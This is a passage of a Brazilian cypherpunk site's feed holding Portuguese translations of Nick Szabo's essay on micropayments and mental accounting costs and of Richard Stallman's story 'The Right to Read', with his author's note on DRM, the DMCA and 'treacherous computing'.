&lt;p>&lt;/p>
&lt;p>Alguns projetos de comércio eletrônico prometem custos de transação dramaticamente menores, para que possamos obter &amp;ldquo;micropagamentos&amp;rdquo;, &amp;ldquo;microintermediação&amp;rdquo; e assim por diante. Uma ideia ainda mais avançada é a utilização de mercados de granularidade muito pequenos para a alocação de recursos de computadores e de rede &lt;!-- raw HTML omitted -->[1]&lt;!-- raw HTML omitted -->. Até que ponto essas coisas são realizáveis? Considere uma característica bastante independente do sistema de pagamento específico: a declaração de encargos. Aqui reside uma troca aqui entre completude e complexidade. Por um lado, apenas resumir as acusações cria a oportunidade para as &lt;em>&amp;lsquo;salami fraud&amp;rsquo;&lt;/em> (fraudes de salame), permitindo que micro custos largamente distribuídos, falsos ou exagerados, não sejam detectados. Além disso, as partes que lêem apenas os resumos não recebem nenhum feedback pelo qual possam ajustar seu comportamento para minimizar os custos. Por outro lado, uma declaração muito complexa para os clientes lerem também permite que fraude, erro e uso ineficiente não sejam detectados, porque uma ou ambas as partes não podem entender a justificativa para as cobranças em relação ao acordo presumido em termos de serviço e pagamento. O mesmo tipo de raciocínio se aplica a processar essas coisas na cabeça, em vez de no papel, como geralmente é feito em pequenas transações em dinheiro. Um requisito básico para que os preços de mercado funcionem é que ambos os lados de uma transação possam mapear as cobranças ao valor obtido ou processado, para que possam ajustar seu comportamento de compra ou venda de acordo.&lt;/p>
&lt;p>Parece haver aqui um gargalo cognitivo fundamental. Uma solução proposta para isso tem sido &amp;ldquo;agentes inteligentes&amp;rdquo;. Mas como esses agentes são programados remotamente, não pelo consumidor, é difícil para o consumidor determinar se o agente está agindo de acordo com os melhores interesses do consumidor, ou no melhor interesse da contraparte — talvez, necessariamente, pelo menos tão difícil quanto ler a correspondente declaração completa de responsabilidades. Além disso, a interface do usuário para permitir que os consumidores simplesmente expressem suas preferências sofisticadas a um agente está faltando e pode representar outro gargalo cognitivo fundamental.&lt;/p>
&lt;p>As empresas de comunicação descobriram que o faturamento é um grande gargalo. Segundo algumas estimativas, até 50% dos custos de uma chamada de longa distância são para faturamento, e isso é da ordem de US $ 100 bilhões por ano no mercado mundial. Os provedores de Internet estão migrando para uma taxa fixa a fim de minimizar esses custos, embora isso crie um incentivo para o uso excessivo de recursos na rede.&lt;/p>
&lt;p>Um sistema de micropagamentos pressupõe uma solução para o problema da contabilidade mental. Se alguém pudesse realmente resolver o problema, em vez de simplesmente alegar tê-lo resolvido por meios misteriosos (&amp;ldquo;agentes inteligentes&amp;rdquo;, etc.), a economia seria enorme mesmo em negócios já existentes, como longa distância e serviço de Internet — para não mencionar todas as novas possibilidades possíveis por menores custos de transação.&lt;/p>
&lt;h3 id="exemplo---contas-de-eletricidade">Exemplo - Contas de eletricidade&lt;/h3>
&lt;p>Às vezes, as declarações contabilizam transações em incrementos gratuitos, como a resolução de 100 watts-hora em algumas contas de eletricidade. Há muitas coisas que a maioria das pessoas normalmente não planeja com relação às contas de eletricidade, o que pode melhorar o valor que elas recebem pelos pagamentos de eletricidade:&lt;/p>
&lt;ul>
&lt;li>Quais aparelhos estão usando mais eletricidade com menos benefício pessoal (não disponível na conta de energia elétrica — mas pode-se conceber um programa de contabilidade pessoal ligado a aparelhos inteligentes que permitem que você faça isso).&lt;/li>
&lt;li>Como equilibrar melhor o calor elétrico com o do gás (você poderia computar isso em detalhes e economizar alguns dólares, mas ganharia dinheiro extra mais rápido ao fazer um trabalho clandestino).&lt;/li>
&lt;li>Se a empresa de eletricidade fosse uma entidade menos confiável e amplamente conhecida, você também pode não confiar neles com o faturamento e recalculá-los para a resolução com a qual se sentia confortável, além de aceitar fraudes ou truques de letras miúdas abaixo desse nível. (Como a eletricidade é fungível e o sistema de preços é pequeno, você pode ter um programa para verificar a conta, o que é eficiente se conseguir informações suficientes para que um número suficiente de pessoas recupere os custos de desenvolvimento e marketing de software).&lt;/li>
&lt;/ul>
&lt;p>A razão pela qual não fazemos as coisas é que elas não valem os ciclos cerebrais: chegamos à barreira da contabilidade mental.&lt;/p>
&lt;h3 id="uma-teoria-da-granularidade-de-preços">Uma teoria da granularidade de preços&lt;/h3>
&lt;p>Aqui apresento brevemente uma teoria da granularidade de preços baseada em uma visão subjetivista dos preços. A função dos preços, do ponto de vista de um comprador, é deixar o comprador mapear seus recursos pessoais (orçamento) para seus valores pessoais (únicos e não observáveis diretamente). Esse processo mental exige a comparação do preço de compra de um bem com seu valor pessoal. Isso implica um custo mental significativo, que define os limites inferiores mais básicos dos custos de transação. Por exemplo, comparar o valor pessoal de um conjunto grande e diversificado de bens de baixo preço pode exigir um gasto mental maior do que os preços desses bens (onde os gastos mentais podem ser mensuráveis ​​como os custos de oportunidade de não se envolver em trabalho mental por salários, ou de não comprar um número menor de bens comparáveis ​​com menores custos contábeis mentais). Neste caso, faz sentido juntar as mercadorias em pacotes com um preço mais alto e uma sinergia inicial, até que os custos de contabilidade mental dos compradores sejam suficientemente baixos.&lt;/p>
&lt;p>Esses custos contábeis mentais, não os custos físicos ou computacionais ou custos de P&amp;amp;D amortizados de pagamento ou de faturamento, estabelecem o principal limite inferior da granularidade de preço. A julgar pelas tendências de granularidade de precificação, como a tendência para taxas fixas em serviços online, a granularidade de precificação online está muito acima dos níveis sugeridos de micropagamento de alguns centavos ou mesmo de frações de um centavo. Os custos de contabilidade mental para um consumidor online típico parecem ser um pouco mais altos do que aqueles em áreas de comércio mais familiares.&lt;/p>
&lt;p>Uma possível correção é que o software do comprador compare preços de compra com um serviço de &amp;ldquo;relatórios ao consumidor&amp;rdquo;. Mas essa informação imparcial é rara e, em qualquer caso, leva em conta apenas valores amplamente compartilhados, não valores pessoais.&lt;/p>
&lt;p>Outra correção é possível para mercadorias fungíveis: cobrar um preço fixo por unidade, que o comprador pode avaliar apenas a partir do número acumulado de unidades e informações de preços. (Como exemplo concreto, em uma campanha publicitária atual nos EUA, a AT&amp;amp;T está apostando que sua taxa fixa de US $ 0,15 é mais atraente do que a US $ 0,10 da Sprint — que conhece taxa variável — que vale a pena o fornecedor renunciar ao preço de congestionamento e o comprador perder descontos vastos, a fim de ter uma taxa previsível, transformando o tempo do telefone em uma mercadoria fungível e, assim, economizando em custos contábeis mentais.&lt;/p>
&lt;p>Infelizmente, a maior parte do comércio pela Internet não é fungível: conteúdo, serviços, encomenda de produtos por correspondência e assim por diante. Alguns serviços do Provedor de Servidor de Internet (ISP) podem ser vendidos como fungíveis (por exemplo, espaço em disco, tempo de conexão) apenas à custa de preceder o congestionamento e outros métodos de precificação que, se não fossem custos contábeis mentais, poderiam ser bastante eficientes. Além disso, mesmo para mercadorias fungíveis, cada usuário tem uma curva única de retornos decrescentes. O software teria que deixar o comprador determinar e inserir sua curva de preferência de volume (de alguma maneira intuitivamente familiar, sem pressupor que o comprador está familiarizado com a teoria econômica) antes que ela pudesse agir adequadamente em seus interesses; sem mencionar as complicações das preferências temporais, interações não-lineares entre mercadorias fungíveis quando isoladas e assim por diante.&lt;/p>
&lt;p>Essa solução de interface de usuário para o caso de mercadorias fungíveis sugere uma estratégia melhor para lidar com o problema mais geral da contabilidade mental no comércio online: desenvolver melhores maneiras para o comprador comunicar suas preferências pessoais ao software. Os profissionais de marketing há muito criaram esquemas para obter esse tipo de informação: pesquisas detalhadas, rastreamento do comportamento e das respostas do usuário, etc. Provavelmente, os serviços Web, como o &lt;a href="https://www.firefly.com" target="_blank" rel="noopener noreferrer">www.firefly.com&lt;/a>
, são os mais utilizados nesse quesito. Firefly cria uma espécie de &amp;ldquo;espaço subjetivo&amp;rdquo; de preferências musicais em que o comprador pode navegar e encontrar novas músicas que elas têm maior probabilidade de preferir.&lt;/p>
&lt;p>Dado que o software pode representar certas preferências, é um problema mais direto para o software mapear essas representações para preços específicos (ou ofertas), participar de compras (ou pechinchar) e concluir transações online com segurança. Esses problemas mais fáceis têm sido o foco da pesquisa de micropagamentos, mas o problema mais fundamental de obter e representar preferências em grande parte não foi reconhecido, talvez devido a um viés objetivista que postula leis matemáticas em vez de preferências subjetivas como a base de uma economia de trabalho.&lt;/p>
&lt;p>Dada a solução de outros problemas de custos de transação, os custos da contabilidade mental ficam sujeitos ao limite do processo de comunicação de preferências — seja pela escolha de contabilidade mental de um bem em detrimento de outro, seja pela criação de um simulacro de software único e suficientemente preciso das preferências do comprador, que completa o processo de orçamento, negociação e compra. Até que ponto e com que eficiência pode (a) um comprador comunicar preferências subjetivas ao software, e (b) o software pode representar e agir no interesse dessas preferências objetivadas? A presença de mecanismos de pesquisa, formulários de pedidos de catálogo, pesquisas de marketing e interações mais sofisticadas como firefly demonstra que tal comunicação e representação são viáveis e importantes, mas parecem ser dispendiosas e talvez fundamentalmente limitadas de alguma forma.&lt;/p>
&lt;h3 id="preferências-e-metáforas-visuais">Preferências e metáforas visuais&lt;/h3>
&lt;p>Para avaliar a conveniência de uma transação, e para evitar ser cobrado incorretamente, as partes de uma transação têm que contabilizar, ou seja, contabilizar o dinheiro pago por determinados produtos e serviços — certificando-se de que os pagamentos em dinheiro são feitos como prometido (por exemplo olhando para a tela como os produtos são digitalizados na loja, ou o recibo depois), ou certificando-se de que a conta de telefone é adequada. Aqui eu uso &amp;ldquo;contabilidade&amp;rdquo; nesse sentido amplo.&lt;/p>
&lt;p>Eu posso estar pagando em dinheiro, mas eu ainda gostaria de acompanhar como e por que meu dinheiro está entrando e saindo, por muitas das mesmas razões que os contadores reconciliam e analisam entradas nos livros. Neste momento, um log de transações (seja o dinheiro digital ou um cartão de crédito) é a maneira mais útil de fazer isso. Pode haver outras metáforas mais apropriadas para algumas circunstâncias (por exemplo, medidores de nível absolutos, medidores de vazão com marcas de água altas e baixas, etc.); Este é um novo campo potencialmente fértil para explorar. Pode haver agentes que possam fazer parte da contabilidade (por exemplo, comparando pagamentos feitos a termos prometidos, limites de pagamento, etc.), mas para a grande maioria dos produtos e serviços o software não pode julgar a qualidade ou desejo pessoal do produto ou serviço, e, portanto, a conveniência líquida da transação. O usuário deve realizar essa comparação com qualquer informação que o computador possa fornecer através do display. A interface do usuário e a cognição do usuário, portanto, permanecem o gargalo para a granularidade da transação.&lt;/p>
&lt;p>Uma grande tarefa é usar o poder da GUI para criar novas metáforas para tornar isso mais fácil. É a metáfora intuitiva, porém precisa, que reduzirá os custos contábeis. Protocolos criptográficos reduzem potencialmente apenas os custos de transação relacionados à segurança, como falsificação e extorsão. Para os custos normais de transação contábil, que atualmente são muito altos para micropagamentos, precisamos de melhores metáforas visuais interativas.&lt;/p>
&lt;p>Para transações livres de registros, precisamos de transações que possam ser transacionadas de maneira justa uma vez, imediatamente explicadas pelas partes por meio de uma metáfora visual agradável e depois esquecidas. O potencial para disputas não resolvidas em sistemas sem registro é vasto para transações onde isso não é possível (provavelmente a maior parte do comércio desejado: onde a qualidade de um produto ou serviço não pode ser bem determinada até que a transação seja concluída ou onde o crédito esteja envolvido).&lt;/p>
&lt;p>O preço é um tipo de termo contratual; Também precisamos de boas metáforas para rastrear outros tipos de termos contratuais. A falta de observabilidade do protocolo por parte do usuário leva à capacidade da contraparte de se envolver em ações ocultas. Consulte &amp;ldquo;&lt;a href="http://www.fon.hum.uva.nl/rob/Courses/InformationInSpeech/CDROM/Literature/LOTwinterschool2006/szabo.best.vwh.net/smart.contracts.2.html%22" target="_blank" rel="noopener noreferrer">http://www.fon.hum.uva.nl/rob/Courses/InformationInSpeech/CDROM/Literature/LOTwinterschool2006/szabo.best.vwh.net/smart.contracts.2.html"&lt;/a>
para uma discussão mais detalhada sobre este e outros problemas de contratação informatizados.&lt;/p>
&lt;p>Uma das barreiras para criar bons contratos é determinar o que as partes querem em primeiro lugar. As pessoas tendem a pensar em termos de condições padrão ou estereotipadas: pagamento em dólares, investimento em ações, etc., quando existe uma variedade muito maior de estruturas contratuais alternativas que, combinadas adequadamente, poderiam atender melhor às necessidades das partes. Eu gostaria de ver ferramentas que permitem que as partes explorem seus desejos de forma interativa com o computador. Em finanças, isso pode incluir curvas de juros pessoais interativas, determinando a ordem parcial dos desejos (como na teoria da decisão) para títulos, derivativos e produtos sintéticos alternativos específicos; e assim por diante. O software, então, analisaria essa entrada, faria recomendações e até mesmo realizaria contratações automatizadas (*). As metáforas devem ser desenvolvidas de modo que seja fácil para os usuários leigos expressar tais desejos sem amplo conhecimento de finanças ou teoria da decisão. Tais metáforas forneceriam um front-end amigável para trocas automatizadas, leilões e outros mecanismos de contratação online.&lt;/p>
&lt;p>Atualmente, os programas de orçamento (como o Quicken) fornecem algumas das metáforas e os programas de análise financeira fornecem um amplo feedback sobre as propriedades de fluxo de caixa de determinados contratos, mas um mercado potencialmente inexplorado está entre uma combinação dessas duas tecnologias.&lt;/p>
&lt;p>(*) transações semelhantes a contratos feitas por agentes automatizados levantam questões interessantes sobre o que constitui uma &amp;ldquo;reunião das mentes&amp;rdquo;.&lt;/p>
&lt;h2 id="referências">Referências&lt;/h2>
&lt;p>[1] A proposta mais avançada ainda se encontra no &lt;a href="http://www.agorics.com/agorpapers.html" target="_blank" rel="noopener noreferrer">Agorics Papers&lt;/a>
.&lt;/p>
&lt;p>Por favor, envie seus comentários para nszabo (at) law (dot) gwu (dot) edu&lt;/p>
&lt;hr>
&lt;p>Fonte: &lt;a href="http://www.fon.hum.uva.nl/rob/Courses/InformationInSpeech/CDROM/Literature/LOTwinterschool2006/szabo.best.vwh.net/micropayments.html" target="_blank" rel="noopener noreferrer">http://www.fon.hum.uva.nl/rob/Courses/InformationInSpeech/CDROM/Literature/LOTwinterschool2006/szabo.best.vwh.net/micropayments.html&lt;/a>
&lt;/p></content:encoded></item><item><title>O direito de ler</title><link>https://cypherpunks.com.br/documentos/o-direito-de-ler/</link><pubDate>Mon, 01 Jan 1996 00:00:00 +0000</pubDate><guid>https://cypherpunks.com.br/documentos/o-direito-de-ler/</guid><description>O direito de ler é uma batalha que está sendo travada hoje. Embora possa levar 50 anos para que nosso modo de vida atual se desvanece na obscuridade, a maioria das leis e práticas específicas descritas acima já foram propostas; muitos foram promulgados como lei nos EUA e em outros lugares. Nos EUA, o Digital Millennium Copyright Act de …</description><content:encoded>&lt;pre tabindex="0">&lt;code>Traduzido por: Steffan Diorgy
Revisado por: Cypherpunks Brasil
&lt;/code>&lt;/pre>&lt;p>&lt;a href="https://cypherpunks.com.br/about/#contribuidores">&lt;code>ver lista de contribuidores&lt;/code>&lt;/a>
&lt;/p>
&lt;p>&lt;!-- raw HTML omitted -->Richard Stallman&lt;!-- raw HTML omitted -->&lt;/p>
&lt;h4 id="originalmente-publicado-em-1996">Originalmente publicado em 1996&lt;/h4>
&lt;p>&lt;/p>
&lt;p>&lt;em>Tirado de &amp;ldquo;The Road to Tycho&amp;rdquo;, uma coletânea de artigos sobre os antecedentes da Revolução Lunariana, publicada em Luna City em 2096.&lt;/em>&lt;/p>
&lt;p>Para Dan Halbert, a estrada para Tycho começou na faculdade - quando Lissa Lenz pediu emprestado seu computador. Ela tinha quebrado, e a menos que ela pudesse emprestar outra, ela falharia em seu projeto de meio de mandato. Não havia ninguém que ela ousasse perguntar, exceto Dan.&lt;/p>
&lt;p>Isso colocou Dan em um dilema. Ele tinha que ajudá-la, mas se ele emprestasse seu computador, ela poderia ler seus livros. Além do fato de que você poderia ir para a prisão por muitos anos por deixar alguém ler seus livros, a própria idéia o chocou a princípio. Como todos, ele aprendera desde a escola primária que compartilhar livros era desagradável e errado - algo que apenas os piratas fariam.&lt;/p>
&lt;p>E não havia muita chance de que a SPA - a Autoridade de Proteção de Software - falhasse em pegá-lo. Em sua aula de software, Dan sabia que cada livro tinha um monitor de direitos autorais que informava quando e onde era lido e por quem, para o Licenciamento Central. (Eles usaram essa informação para capturar piratas lidos, mas também para vender perfis de interesse pessoal para varejistas.) Na próxima vez em que seu computador estivesse em rede, a Central Licensing descobriria. Ele, como proprietário do computador, receberia o castigo mais severo - por não se esforçar para evitar o crime.&lt;/p>
&lt;p>Obviamente Lissa não pretendia necessariamente ler seus livros. Ela pode querer que o computador apenas a escreva no meio do caminho. Mas Dan sabia que ela vinha de uma família de classe média e não podia pagar as mensalidades, muito menos as taxas de leitura. Lendo seus livros pode ser a única maneira que ela poderia se formar. Ele entendeu essa situação; ele mesmo teve que pedir emprestado para pagar todos os documentos de pesquisa que leu. (Dez por cento dessas taxas foram para os pesquisadores que escreveram os artigos; desde que Dan visava uma carreira acadêmica, ele podia esperar que seus próprios documentos de pesquisa, se frequentemente referenciados, trouxessem o suficiente para pagar esse empréstimo.)&lt;/p>
&lt;p>Mais tarde, Dan ficaria sabendo que havia uma época em que alguém poderia ir à biblioteca e ler artigos de periódicos e até livros, sem ter que pagar. Havia estudiosos independentes que liam milhares de páginas sem subvenções da biblioteca do governo. Mas na década de 1990, tanto os editores de revistas comerciais quanto os sem fins lucrativos começaram a cobrar taxas pelo acesso. Em 2047, as bibliotecas que ofereciam acesso público gratuito à literatura acadêmica eram uma memória fraca.&lt;/p>
&lt;p>Havia maneiras, claro, de contornar o SPA e o Licenciamento Central. Eles eram eles mesmos ilegais. Dan tinha tido um colega de turma em software, Frank Martucci, que havia obtido uma ferramenta de depuração ilícita, e a usava para pular o código do monitor de direitos autorais ao ler livros. Mas ele contara a muitos amigos sobre o assunto, e um deles o entregou ao SPA por uma recompensa (estudantes profundamente endividados foram facilmente tentados a traí-lo). Em 2047, Frank estava na prisão, não por leitura de piratas, mas por possuir um depurador.&lt;/p>
&lt;p>Dan aprenderia mais tarde que houve um tempo em que alguém poderia ter ferramentas de depuração. Havia até mesmo ferramentas de depuração gratuitas disponíveis em CD ou descarregáveis ​​na rede. Mas os usuários comuns começaram a usá-los para ignorar os monitores de direitos autorais e, eventualmente, um juiz decidiu que isso se tornara seu principal uso na prática real. Isso significava que eles eram ilegais; os desenvolvedores dos depuradores foram enviados para a prisão.&lt;/p>
&lt;p>Os programadores ainda precisavam de ferramentas de depuração, é claro, mas os fornecedores de depuradores em 2047 apenas distribuíam cópias numeradas e apenas para programadores oficialmente licenciados e vinculados. O depurador Dan usado na classe de software foi mantido atrás de um firewall especial para que pudesse ser usado apenas para exercícios de classe.&lt;/p>
&lt;p>Também foi possível ignorar os monitores de direitos autorais instalando um kernel do sistema modificado. Dan acabaria descobrindo sobre os núcleos gratuitos, até mesmo os sistemas operacionais livres, que existiam por volta da virada do século. Mas eles não eram apenas ilegais, como depuradores - você não podia instalar um se tivesse um, sem saber a senha de root do seu computador. E nem o FBI nem o Suporte da Microsoft lhe diriam isso.&lt;/p>
&lt;p>Dan concluiu que ele não poderia simplesmente emprestar a Lissa seu computador. Mas ele não podia se recusar a ajudá-la, porque ele a amava. Toda chance de falar com ela o encheu de prazer. E que ela o escolheu para pedir ajuda, isso poderia significar que ela também o amava.&lt;/p>
&lt;p>Dan resolveu o dilema fazendo algo ainda mais impensável - ele emprestou-lhe o computador e disse-lhe sua senha. Dessa forma, se Lissa lesse seus livros, a Central Licensing pensaria que ele estava lendo. Ainda era um crime, mas o SPA não iria descobrir automaticamente sobre isso. Eles só descobririam se Lissa o denunciasse.&lt;/p>
&lt;p>É claro que, se a escola descobrisse que ele havia dado a Lissa sua própria senha, seriam cortinas para os dois como estudantes, independentemente do que ela tivesse usado. A política da escola era de que qualquer interferência em seus meios de monitorar o uso do computador pelos alunos era motivo para ação disciplinar. Não importava se você fez alguma coisa prejudicial - a ofensa estava dificultando a verificação dos administradores. Eles assumiram que isso significava que você estava fazendo outra coisa proibida, e eles não precisavam saber o que era.&lt;/p>
&lt;p>Os estudantes geralmente não eram expulsos por isso - não diretamente. Em vez disso, foram banidos dos sistemas de computadores da escola e inevitavelmente falhariam em todas as suas aulas.&lt;/p>
&lt;p>Mais tarde, Dan aprenderia que esse tipo de política universitária começou apenas na década de 1980, quando estudantes universitários em grande número começaram a usar computadores. Anteriormente, as universidades mantinham uma abordagem diferente para a disciplina estudantil; puniam atividades nocivas, não aquelas que apenas levantavam suspeitas.&lt;/p>
&lt;p>Lissa não denunciou Dan ao SPA. Sua decisão de ajudá-la levou ao casamento e também levou-os a questionar o que aprenderam sobre a pirataria quando crianças. O casal começou a ler sobre a história dos direitos autorais, sobre a União Soviética e suas restrições à cópia, e até mesmo sobre a Constituição original dos Estados Unidos. Eles se mudaram para Luna, onde encontraram outros que também haviam se afastado do longo braço do SPA. Quando a revolta de Tycho começou em 2062, o direito universal de ler logo se tornou um de seus objetivos centrais.&lt;/p>
&lt;hr>
&lt;h3 id="nota-do-autor">Nota do autor&lt;/h3>
&lt;p>&lt;em>Esta nota foi atualizada várias vezes desde a primeira publicação da história.&lt;/em>&lt;/p>
&lt;p>O direito de ler é uma batalha que está sendo travada hoje. Embora possa levar 50 anos para que nosso modo de vida atual se desvanece na obscuridade, a maioria das leis e práticas específicas descritas acima já foram propostas; muitos foram promulgados como lei nos EUA e em outros lugares. Nos EUA, o Digital Millennium Copyright Act de 1998 (DMCA) estabeleceu a base legal para restringir a leitura e empréstimo de livros informatizados (e outros trabalhos também). A União Europeia impôs restrições semelhantes em uma diretiva de direitos autorais de 2001. Na França, de acordo com a lei DADVSI adotada em 2006, a mera posse de uma cópia do DeCSS, o programa gratuito para descriptografar um vídeo em um DVD, é um crime.&lt;/p>
&lt;p>Em 2001, o senador Hollings, financiado pela Disney, propôs um projeto de lei chamado SSSCA, que exigiria que cada novo computador tivesse instalações obrigatórias de restrição de cópias que o usuário não pode ignorar. Seguindo o chip Clipper e propostas semelhantes de cofres de chaves do governo dos EUA, isso mostra uma tendência de longo prazo: os sistemas de computador estão sendo cada vez mais configurados para dar aos ausentes controle sobre as pessoas que realmente usam o sistema de computador. O SSSCA foi depois renomeado para o impronunciável CBDTPA, que foi descrito como &amp;ldquo;Consumir, mas não tente programar&amp;rdquo;.&lt;/p>
&lt;p>Os republicanos assumiram o controle do Senado dos EUA pouco depois. Eles estão menos ligados a Hollywood do que os democratas, então eles não pressionaram essas propostas. Agora que os democratas estão de volta ao controle, o perigo é mais uma vez maior.&lt;/p>
&lt;p>Em 2001, os EUA começaram a tentar usar o Tratado de Área de Livre Comércio das Américas (ALCA) para impor as mesmas regras a todos os países do Hemisfério Ocidental. A ALCA é um dos chamados tratados de livre comércio, que na verdade são destinados a dar aos negócios maior poder sobre os governos democráticos; impor leis como a DMCA é típico desse espírito. A Alca foi efetivamente morta por Lula, presidente do Brasil, que rejeitou a exigência da DMCA e outros.&lt;/p>
&lt;p>Desde então, os EUA impuseram exigências semelhantes em países como a Austrália e o México por meio de acordos bilaterais de &amp;ldquo;livre comércio&amp;rdquo;, e em países como a Costa Rica por meio de outro tratado, o CAFTA. O presidente do Equador, Correa, se recusou a assinar um acordo de &amp;ldquo;livre comércio&amp;rdquo; com os EUA, mas eu ouvi que o Equador adotou algo como o DMCA em 2003.&lt;/p>
&lt;p>Uma das idéias da história não foi proposta na realidade até 2002. Essa é a idéia de que o FBI e a Microsoft manterão as senhas de raiz dos seus computadores pessoais, e não permitirão que você as tenha.&lt;/p>
&lt;p>Os proponentes desse esquema deram nomes como &amp;ldquo;computação confiável&amp;rdquo; e &amp;ldquo;paládio&amp;rdquo;. Chamamos isso de &lt;a href="https://www.gnu.org/philosophy/can-you-trust.html" target="_blank" rel="noopener noreferrer">&amp;ldquo;computação traiçoeira&amp;rdquo;&lt;/a>
porque o efeito é fazer com que o seu computador obedeça às empresas, até mesmo ao ponto de desobedecer e desafiar você. Isso foi implementado em 2007 como parte do &lt;a href="http://badvista.org/" target="_blank" rel="noopener noreferrer">Windows Vista&lt;/a>
; esperamos que a Apple faça algo semelhante. Nesse esquema, é o fabricante que mantém o código secreto, mas o FBI não teria dificuldade em consegui-lo.&lt;/p>
&lt;p>O que a Microsoft guarda não é exatamente uma senha no sentido tradicional; Ninguém nunca digita em um terminal. Pelo contrário, é uma chave de assinatura e criptografia que corresponde a uma segunda chave armazenada em seu computador. Isso permite que a Microsoft e, potencialmente, quaisquer sites da Web que cooperem com a Microsoft tenham o controle total sobre o que o usuário pode fazer em seu próprio computador.&lt;/p>
&lt;p>O Vista também oferece poderes adicionais à Microsoft; por exemplo, a Microsoft pode forçar a instalação de atualizações e pode ordenar que todas as máquinas que executam o Vista se recusem a executar um determinado driver de dispositivo. O principal objetivo das muitas restrições do Vista é impor DRM (Digital Restrictions Management) que os usuários não podem superar. A ameaça do DRM é porque estabelecemos a campanha &lt;a href="http://defectivebydesign.org/" target="_blank" rel="noopener noreferrer">Defective by Design&lt;/a>
.&lt;/p>
&lt;p>Quando essa história foi escrita pela primeira vez, o SPA estava ameaçando os pequenos provedores de serviços de Internet, exigindo que eles permitissem que o SPA monitorasse todos os usuários. A maioria dos ISPs se rendeu quando ameaçada, porque eles não podem se dar ao luxo de lutar no tribunal. Um ISP, Community ConneXion em Oakland, Califórnia, recusou a demanda e foi realmente processado. O SPA mais tarde desistiu do processo, mas obteve o DMCA, que lhes deu o poder que procuravam.&lt;/p>
&lt;p>O SPA, que na verdade significa Associação de editores de software, foi substituído em sua função de polícia pela Business Software Alliance. A BSA não é, hoje, uma força policial oficial; não oficialmente, age como um. Usando métodos reminiscentes da antiga União Soviética, ela convida as pessoas a informar seus colegas de trabalho e amigos. Uma campanha terrorista da BSA na Argentina em 2001 fez ameaças levemente veladas de que pessoas que compartilham software seriam estupradas.&lt;/p>
&lt;p>As políticas de segurança da universidade descritas acima não são imaginárias. Por exemplo, um computador em uma universidade da região de Chicago exibe essa mensagem no login:&lt;/p>
&lt;blockquote>
&lt;p>Este sistema é para uso apenas de usuários autorizados. Indivíduos usando este sistema de computador sem autoridade ou em excesso de sua autoridade estão sujeitos a ter todas as suas atividades neste sistema monitoradas e registradas pelo pessoal do sistema. No decorrer do monitoramento de pessoas que usam indevidamente este sistema ou durante a manutenção do sistema, as atividades do usuário autorizado também podem ser monitoradas. Qualquer um que use este sistema consente expressamente com tal monitoramento e é aconselhado que, se tal monitoramento revelar possíveis evidências de atividade ilegal ou violação dos regulamentos da Universidade, o pessoal do sistema pode fornecer evidência de tal monitoramento para as autoridades da Universidade e / ou oficiais da lei.&lt;/p>
&lt;/blockquote>
&lt;p>Esta é uma abordagem interessante para a Quarta Emenda: pressionar a maioria de todos a concordar, com antecedência, em renunciar a seus direitos sob ela.&lt;/p>
&lt;hr>
&lt;h3 id="más-notícias">Más notícias&lt;/h3>
&lt;p>A batalha pelo direito de ler já está em andamento. O inimigo é organizado, enquanto nós não somos, então está indo contra nós. Aqui estão os artigos sobre coisas ruins que aconteceram desde a publicação original deste artigo.&lt;/p>
&lt;ul>
&lt;li>Os ebooks comerciais de hoje &lt;a href="https://www.gnu.org/philosophy/the-danger-of-ebooks.html" target="_blank" rel="noopener noreferrer">abolem as liberdades tradicionais dos leitores.&lt;/a>
&lt;/li>
&lt;li>&lt;a href="http://www.nature.com/nature_education/biology.html" target="_blank" rel="noopener noreferrer">Um site de biologia&lt;/a>
que você pode acessar apenas assinando um &lt;a href="http://www.nature.com/principles/viewTermsOfUse" target="_blank" rel="noopener noreferrer">contrato para não emprestar a ninguém&lt;/a>
, que o editor pode revogar à vontade.&lt;/li>
&lt;li>&lt;a href="http://www.zdnet.com/news/seybold-opens-chapter-on-digital-books/103151" target="_blank" rel="noopener noreferrer">Publicação Eletrônica:&lt;/a>
Um artigo sobre distribuição de livros em formato eletrônico e questões de direitos autorais que afetam o direito de ler uma cópia.&lt;/li>
&lt;li>&lt;a href="http://www.microsoft.com/en-us/news/press/1999/Aug99/SeyboldPR.aspx" target="_blank" rel="noopener noreferrer">Livros dentro de computadores:&lt;/a>
Software para controlar quem pode ler livros e documentos em um PC.&lt;/li>
&lt;/ul>
&lt;p>Se quisermos parar as más notícias e criar boas notícias, precisamos nos organizar e lutar. A campanha &lt;a href="http://defectivebydesign.org/" target="_blank" rel="noopener noreferrer">Defective by Design&lt;/a>
da FSF começou - assine a lista de discussão da campanha para dar uma mãozinha. E &lt;a href="http://www.fsf.org/associate" target="_blank" rel="noopener noreferrer">junte-se a FSF&lt;/a>
para ajudar a financiar nosso trabalho.&lt;/p>
&lt;hr>
&lt;h3 id="referências">Referências&lt;/h3>
&lt;ul>
&lt;li>United States Patent and Trademark Office, &lt;!-- raw HTML omitted -->Intellectual Property [&lt;em>sic&lt;/em>] and the National Information Infrastructure: The Report of the Working Group on Intellectual Property [&lt;em>sic&lt;/em>] Rights,&lt;!-- raw HTML omitted --> Washington, DC: GPO de 1995.&lt;/li>
&lt;li>Samuelson, Pamela, &lt;a href="http://www.wired.com/wired/archive/4.01/white.paper_pr.html" target="_blank" rel="noopener noreferrer">&amp;ldquo;The Copyright Grab,&amp;rdquo;&lt;/a>
&lt;em>Wired,&lt;/em> Janeiro de 1996, n. 4.01.&lt;/li>
&lt;li>Boyle, James, &lt;a href="http://www.law.duke.edu/boylesite/sold_out.htm" target="_blank" rel="noopener noreferrer">&amp;ldquo;Sold Out,&amp;rdquo;&lt;/a>
&lt;em>New York Times,&lt;/em> 31 de março de 1996, sec. 4, p. 15.&lt;/li>
&lt;li>Editorial, &lt;em>Washington Post,&lt;/em> &lt;a href="http://web.archive.org/web/20130508120533/http://www.interesting-people.org/archives/interesting-people/199611/msg00012.html" target="_blank" rel="noopener noreferrer">&amp;ldquo;Public Data or Private Data,&amp;rdquo;&lt;/a>
3 de novembro de 1996, sec. C, p. 6.&lt;/li>
&lt;li>&lt;a href="http://www.public-domain.org/" target="_blank" rel="noopener noreferrer">Union for the Public Domain&lt;/a>
—uma organização que visa resistir e reverter a superextensão de direitos autorais e patentes.&lt;/li>
&lt;/ul>
&lt;hr>
&lt;p>A &lt;a href="http://www.fsf.org/" target="_blank" rel="noopener noreferrer">Fundação do Software Livre&lt;/a>
é o principal patrocinador organizacional do &lt;a href="http://www.gnu.org/" target="_blank" rel="noopener noreferrer">Sistema Operacional GNU&lt;/a>
